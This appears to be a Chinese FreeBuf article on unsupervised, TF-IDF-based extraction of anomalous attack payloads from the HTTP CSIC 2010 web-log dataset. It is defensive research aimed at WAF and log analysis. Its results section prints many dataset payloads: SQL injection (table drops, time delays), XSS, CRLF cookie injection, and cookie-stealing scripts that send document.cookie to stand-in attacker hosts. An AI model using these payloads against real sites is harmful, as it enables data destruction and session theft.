技術討論 | 自動化Web滲透Payload提取技術
PS:本文僅作技術討論,禁止用於其他非法用途
*本文原創作者:zhanghaoyil,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
0×0 寫在前面
做Web安全已經三四年了,從最初的小白到今天的初探門路,小鮮肉已經熬成了油膩大叔。Web安全是一個日新月異的朝陽領域,每天的網際網路上都在發生著從未暴露的0 Day和N Day攻擊。這時一個大家都意識到的重要問題就浮出水面了:如何能從海量Web訪問日誌中把那一小撮異常請求撈出來,供安全人員分析或進行自動化實時阻斷和報警?
對於這個問題,傳統的方法是利用傳統的WAF (無機器學習引擎),進行規則匹配 。傳統WAF有其存在的意義,但也有其掣肘。首先,安全從業人員都懂,基於黑名單的防禦往往存在各種被繞過的風險,看看安全論壇裡各式花樣打狗(安全狗)祕籍就可見一斑。其次,傳統WAF只能發現已知的安全攻擊行為或型別,對於新出現的攻擊存在更新延遲,維護上也有比較大的成本。我認為這些問題都源於一個現實——傳統WAF不能對其保護的網站進行建模,因此只能基於已知規則,對各式各樣的Web系統進行統一的無差別 的保護。
近年來,機器學習(包括深度學習)高調闖入人們的視野,也逐步應用在了資訊保安領域。基於機器學習的WAF相關論文和文章也看了一些,似乎大家都主要應用了有監督機器學習,也都提到了一個問題:有標記的攻擊資料集(黑樣本)難於大量獲取。而一小波提出無監督異常檢測思路的文章,又會遇到精確度低的問題。
針對這些問題,我決定先進行一些分解。既然直接預測整個請求是否是攻擊很難做到可接受的準確率,不妨就先把異常的攻擊Payload找出來。找出來後,就可以用來進行精準的攻擊分析,還可以幫助優化WAF規則等。本文所述的技術最大的優勢是無監督,無需先驗規則即可自動提取異常Payload。
專案GitHub:ofollow,noindex" target="_blank">https://github.com/zhanghaoyil/Hawk-I (不斷完善中,歡迎貢獻程式碼)
0×1 思路
要把異常引數找出來,最顯而易見要解決的問題就是如何量化請求中各引數的異常程度。為了最大化利用日誌中蘊含的需要保護的Web系統自身的結構資訊,我決定對請求按訪問路徑進行拆解,即分析引數value在同路徑同參數Key的其他引數值中的異常程度 。
具體演算法步驟是:
1) 基於TF-IDF對不同路徑下的樣本分別進行特徵向量化,按引數維度對特徵向量進行匯聚 。
2) 基於特徵向量提取出樣本引數在同路徑同參數Key的其他引數值中異常分數AS(Anomaly Score)。
3) 設定閾值T,取出AS大於T的異常引數值作為輸出。
0×2 資料集及預處理
本文使用HTTP CSIC 2010資料集。該資料集由西班牙最高科研理事會CSIC在論文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作為附件給出的,是一個電子商務網站的訪問日誌,包含36000個正常請求和25000多個攻擊請求。異常請求樣本中包含SQL%E6%B3%A8%E5%85%A5/">SQL注入、檔案遍歷、CRLF注入、XSS、SSI等攻擊樣本。資料集下載連結:http://www.isi.csic.es/dataset/ 。在本專案Github中也準備好了。
HTTP CSIC 2010資料集單個樣本為如下格式:
POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko) Pragma: no-cache Cache-control: no-cache Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 Accept-Encoding: x-gzip, x-deflate, gzip, deflate Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5 Accept-Language: en Host: localhost:8080 Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 68 id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito
根據觀察,該資料集除路徑(URI)和引數外其他Header無任何攻擊Payload,具有很多冗餘資訊。因此對該資料集進行格式化,只保留HTTP方法、路徑和引數,轉為JSON格式方便後面使用。具體進行了如下預處理,具體程式碼見data/parse.py:
1) 去除冗餘資訊。
2) 執行迭代的urldecode。
3) 生成標準化的引數,將大小寫字母、數字分別轉換為a和n。同時保留原始引數和標準化的引數,用於最終的Payload提取。
def normalize(self, s, with_sub=True): #urldecode while True: new_s = parse.unquote(s, encoding='ascii', errors='ignore') if new_s == s: break else: s = new_s #normalize if withsub: s = re.sub('\ufffd', 'a', s) s = re.sub('[a-zA-Z]', 'a', s) s = re.sub('\d', 'n', s) s = re.sub('a+', 'a+', s) s = re.sub('n+', 'n+', s) s = re.sub(' ', '', s) return s
0×3 實現
根據演算法步驟,專案主要分為向量化和引數異常評估和異常Payload提取兩部分。
0x3a 向量化和引數異常分數
一個Web訪問記錄的成分是比較固定的,每個部分(方法、路徑、引數、HTTP頭、Cookie等)都有比較好的結構化特點。因此可以把Web攻擊識別任務抽象為文字分類任務,而且這種思路應用在了安全領域,如有監督的攻擊識別[1]、 XSS識別[2] 等。文字分類任務中常用的向量化手段有詞袋模型(Bag of Word,BOW)、TF-IDF模型、詞向量化(word2vec)等,兜哥的文章[3]已經做了詳細的講解。
經過對Web日誌特點的分析,本文認為使用TF-IDF來對樣本進行向量化效果更好。一是經過標準化後請求引數的值仍會有非常多的可能性,這種情況下詞袋模型生成的特徵向量長度會非常大,而且沒法收縮;二是每個請求中引數個數有大有小,絕大多數不超過10個,這個時候詞向量能表達的資訊非常有限,並不能反映出引數value的異常性;三是TF-IDF可以表達出不同請求同一引數的值是否更有特異性,尤其是IDF項。
舉個例子,http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8
是一個查詢IP詳細資訊的頁面(真實存在),在某一段時間內收到了10000個請求,其中9990個請求中ipAddr引數值是符合xx.xx.xx.xx這個IP的格式的,通過0×2中提到的標準化之後,也就是9990個請求的ipAddr引數為n+.n+.n+.n+ (當然這裡做了簡化,數字不一定為多位)。此外有10個請求的ipAddr是形如alert('XSS')
、'or'1' = '1
之類的不同的攻擊Payload。
經過TF-IDF向量化後,那9900個請求ipAddr=n+.n+.n+.n+這一項的TF-IDF值:
TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001
而出現ipAddr=alert('XSS')
的請求的TF-IDF值:
TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517
可以看出異常請求引數value的TF-IDF是遠大於正常請求的,因此TF-IDF可以很好地反映出引數value的異常程度。
熟悉TF-IDF的同學一定有疑問了,你這TF-IDF的字典也會很大呀,如果樣本量很大而且有各式各樣的引數value,你的特徵向量豈不是稀疏得不行了?對於這個問題,我有一個解決方案,也就是將所有的TF-IDF進一步加以處理,對引數key相同的TF-IDF項進行求和。設引數key集合為K={k1, k2, …, kn},TF-IDF字典為集合x={x1, x2, …, xm}。則每個引數key的特徵值為:
vn = ∑TF-IDFxn xn∈{x | x startswith ‘kn=’}
具體程式碼在vectorize/vectorizer.py中:
for path, strs in path_buckets.items(): if not strs: continue vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b") try: tfidf = vectorizer.fit_transform(strs) #putting same key's indices together paramindex = {} for kv, index in vectorizer.vocabulary.items(): k = kv.split('=')[0] if k in param_index.keys(): param_index[k].append(index) else: param_index[k] = [index] #shrinking tfidf vectors tfidf_vectors = [] for vector in tfidf.toarray(): v = [] for param, index in param_index.items(): v.append(np.sum(vector[index])) tfidf_vectors.append(v) #other features other_vectors = [] for str in strs: ov = [] kvs = str.split(' ')[:-1] lengths = np.array(list(map(lambda x: len(x), kvs))) #param count ov.append(len(kvs)) #mean kv length ov.append(np.mean(lengths)) #max kv length ov.append(np.max(lengths)) #min kv length ov.append(np.min(lengths)) #kv length std ov.append(np.std(lengths)) other_vectors.append(ov) tfidf_vectors = np.array(tfidf_vectors) other_vectors = np.array(other_vectors) vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1)
這些特徵向量能否充分反映樣本的異常性呢?我使用未調參的隨機森林模型進行驗證,得到了大於95%準確率的結果,比較滿意。下圖是模型學習曲線,可以看出仍處於欠訓練的狀態,如果樣本量更充足的話將會得到更好的效果。
由於本文所述方法旨在使用無監督學習提取異常引數,並不用糾結於有監督分類的結果,只要驗證了提取的特徵的確可以反映出引數的異常性即可。
0x3b 異常引數值提取
得到引數值的異常分數下面的工作就簡單多了,主要就是:
1)資料的標準化(Standardization)
2)根據閾值確定異常引數
3)根據異常分數在訓練集矩陣的位置提取對應的引數值
這部分沒有什麼特別的邏輯,直接看程式碼吧:
if name == 'main': x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: samples = json.loads(sf.readline()) #Standardization ases = StandardScaler().fit_transform(x[:, :len(params)]) indices = ases > 6 #extract anomalous payload for s in range(indices.shape[0]): for p in range(indices.shape[1]): if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##")
提取結果:
##modo## ##registroalert("Paros");## ##modo## ##registroalert("Paros");## ##ntc## ##|## ##ntc## ##|## ##modo## #### ##modo## #### ##modo## ##registro' AND '1'='1## ##modo## ##registro' AND '1'='1## ##ntc## ##9851892046707743alert("Paros");## ##ntc## ##9851892046707743alert("Paros");## ##ntc## ##5024784015351535alert("Paros");## ##ntc## ##5024784015351535alert("Paros");## ##ntc## ##878731290934670A## ##ntc## ##878731290934670A## ##nombre## ##Remi'g/*io## ##nombre## ##Remi'g/*io## ##cp## ##1642A## ##cp## ##1642A## ##cp## ##any? Set-cookie:+Tamper=1041264011025374727## ##cp## ##any? Set-cookie:+Tamper=1041264011025374727## ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##modo## ##registro@40## ##modo## ##registro@40## ##ntc## ##841140437746594A## ##ntc## ##841140437746594A## ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## ##ntc## ##|## ##ntc## ##|## ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##modo## ##|## ##modo## ##|## ##cp## ##4377A## ##cp## ##4377A## ##modo## ##+## ##modo## ##+## ##modo## ##' DELETE FROM USERS## ##modo## ##' DELETE FROM USERS## ##dni## #### ##dni## #### ##cp## #### ##cp## #### ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## ##dni## ##684739141## ##dni## ##684739141## ##modo## ##registro' DELETE FROM USERS## ##modo## ##registro' DELETE FROM USERS## ##nombre## ##*Aitan/a## ##nombre## ##*Aitan/a## ##ntc## ##6995607131571243## ##ntc## ##6995607131571243## ##modo## ##registroalert("Paros");## ##modo## ##registroalert("Paros");## ##modo## ##','0','0','0');waitfor delay '0:0:15';--## ##modo## ##','0','0','0');waitfor delay '0:0:15';--## ##modo## ##registro';waitfor delay '0:0:15';--## ##modo## ##registro';waitfor delay '0:0:15';--## ##modo## #### ##modo## #### ##modo## ##registro"><## ##modo## ##registro"><## ##modo## ##'OR'a='a## ##modo## ##'OR'a='a## ##cp## ##any Set-cookie:+Tamper=5765205567234876235## ##cp## ##any Set-cookie:+Tamper=5765205567234876235## ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## ##ntc## ##@40## ##ntc## ##@40## ##cp## ##AND 1=1## ##cp## ##AND 1=1## ##modo## ##registroAND 1=1## ##modo## ##registroAND 1=1## ##modo## ##+## ##modo## ##+## ##modo## ##registrobob@alert(Paros).parosproxy.org## ##modo## ##registrobob@alert(Paros).parosproxy.org## ##cp## ##any? Set-cookie:+Tamper=5765205567234876235## ##cp## ##any? Set-cookie:+Tamper=5765205567234876235## ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## ##cp## ##44349','0');waitfor delay '0:0:15';--## ##cp## ##44349','0');waitfor delay '0:0:15';--## ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##ntc## ##219312393915667A## ##ntc## ##219312393915667A## ##ntc## ##928497527479202A## ##ntc## ##928497527479202A## ##ntc## ##848868523325038A## ##ntc## ##848868523325038A## ##ntc## ##AND 1=1## ##ntc## ##AND 1=1## ##ntc## ## ## ##ntc## ## ## ##dni## ##B071B890B48F## ##dni## ##B071B890B48F## ##modo## ##registro## ##modo## ##registro## ##cp## ##26130any Set-cookie:+Tamper=5765205567234876235## ##cp## ##26130any Set-cookie:+Tamper=5765205567234876235## ##ntc## ##' AND '1'='1## ##ntc## ##' AND '1'='1## ##modo## ##registro ## ##modo## ##registro ## ##ntc## ##+## ##ntc## ##+## ##ntc## ##706790437347227A## ##ntc## ##706790437347227A## ##cp## ##+## ##cp## ##+## ##dni## ##';waitfor delay '0:0:15';--## ##dni## ##';waitfor delay '0:0:15';--## ##cp## ##44721bob@alert(Paros).parosproxy.org## ##cp## ##44721bob@alert(Paros).parosproxy.org## ##cp## #### ##cp## #### ##ntc## ##424959116693048A## ##ntc## ##424959116693048A## ##cp## ##bob@alert(Paros).parosproxy.org## ##cp## ##bob@alert(Paros).parosproxy.org## ##cp## ##31495bob@alert(Paros).parosproxy.org## ##cp## ##31495bob@alert(Paros).parosproxy.org## ##ntc## ##899062190611389A## ##ntc## ##899062190611389A## ##ntc## ##0602317509119469## ##ntc## ##0602317509119469## ##modo## ##','0');waitfor delay '0:0:15';--## ##modo## ##','0');waitfor delay '0:0:15';--## ##dni## ##' AND '1'='1## ##dni## ##' AND '1'='1## ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##cp## ##22314','0','0');waitfor delay '0:0:15';--## ##cp## ##22314','0','0');waitfor delay '0:0:15';--## ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## ##modo## ##registro@40## ##modo## ##registro@40## ##dni## ##35507034W" AND "1"="1## ##dni## ##35507034W" AND "1"="1## ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## ##dni## ##paros" style="background:url(javascript:alert('Paros'))## ##dni## ##paros" style="background:url(javascript:alert('Paros'))## ##cp## ##0530A## ##cp## ##0530A## ##ntc## ##any Set-cookie:+Tamper=5765205567234876235## ##ntc## ##any Set-cookie:+Tamper=5765205567234876235## ##cp## ##0951A## ##cp## ##0951A## ##ntc## ##any? Set-cookie:+Tamper=5765205567234876235## ##ntc## ##any? Set-cookie:+Tamper=5765205567234876235## ##modo## ##registro"><## ##modo## ##registro"><## ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##cp## ##1883A## ##cp## ##1883A## ##ntc## ##1816581279872417'OR'a='a## ##ntc## ##1816581279872417'OR'a='a## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##');waitfor delay '0:0:15';--## ##modo## ##');waitfor delay '0:0:15';--## ##modo## ##registro'INJECTED_PARAM## ##modo## ##registro'INJECTED_PARAM## ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## ##cp## ##1914A## ##cp## ##1914A## ##cp## ##35543' DELETE FROM USERS## ##cp## ##35543' DELETE FROM USERS## ##ntc## ##@40## ##ntc## ##@40## ##cp## ##alert("Paros");## ##cp## ##alert("Paros");## ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## ##modo## ##|## ##modo## ##|## ##ntc## ##alert("Paros");## ##ntc## ##alert("Paros");## ##ntc## ##367411357982441A## ##ntc## ##367411357982441A## ##cp## ##';waitfor delay '0:0:15';--## ##cp## ##';waitfor delay '0:0:15';--## ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## ##modo## ##|## ##modo## ##|## ##ntc## ##7238071991283064 ## ##ntc## ##7238071991283064 ## ##cp## ##0529A## ##cp## ##0529A## ##modo## ##'INJECTED_PARAM## ##modo## ##'INJECTED_PARAM## ##dni## ##+## ##dni## ##+## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## ##dni## #### ##dni## #### ##modo## ##registro@40## ##modo## ##registro@40## ##cp## ##46715alert("Paros");## ##cp## ##46715alert("Paros");## ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## ##modo## ##alert("Paros");## ##modo## ##alert("Paros");## ##modo## ##"><## ##modo## ##"><## ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## ##ntc## ##1771682809315400' AND '1'='1## ##ntc## ##1771682809315400' AND '1'='1##
可以看到,至此已經把異常引數值提取出來了,包括SQL注入、XSS、命令注入、CRLF注入、檔案包含等典型的攻擊Payload。
0×4 後續計劃
這篇文章算是我在資訊保安領域應用機器學習一系列嘗試的第一篇,思路不算清奇,也沒有什麼特別的難點。但我個人喜歡先抑後揚,不管怎麼樣先把成果搞出來,然後再慢慢優化和進步嘛。路總是一步一步走的。
後面我打算還是在Web安全這個領域做一些機器學習應用嘗試。這篇文章只是靜態地提取出異常Payload,而沒有利用到關鍵的Web系統結構資訊,包括訪問時序的特徵,訪問來源主體(IP、UID、裝置指紋等)、訪問分佈的特徵,我將充分利用這些資訊,嘗試開發一個無規則化的簡易機器學習WAF。
參考連結:
[1]:https://github.com/Monkey-D-Groot/Machine-Learning-on-CSIC-2010
[2]:http://www.freebuf.com/news/142069.html
[3]:http://www.freebuf.com/column/167084.html
*本文原創作者:zhanghaoyil,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載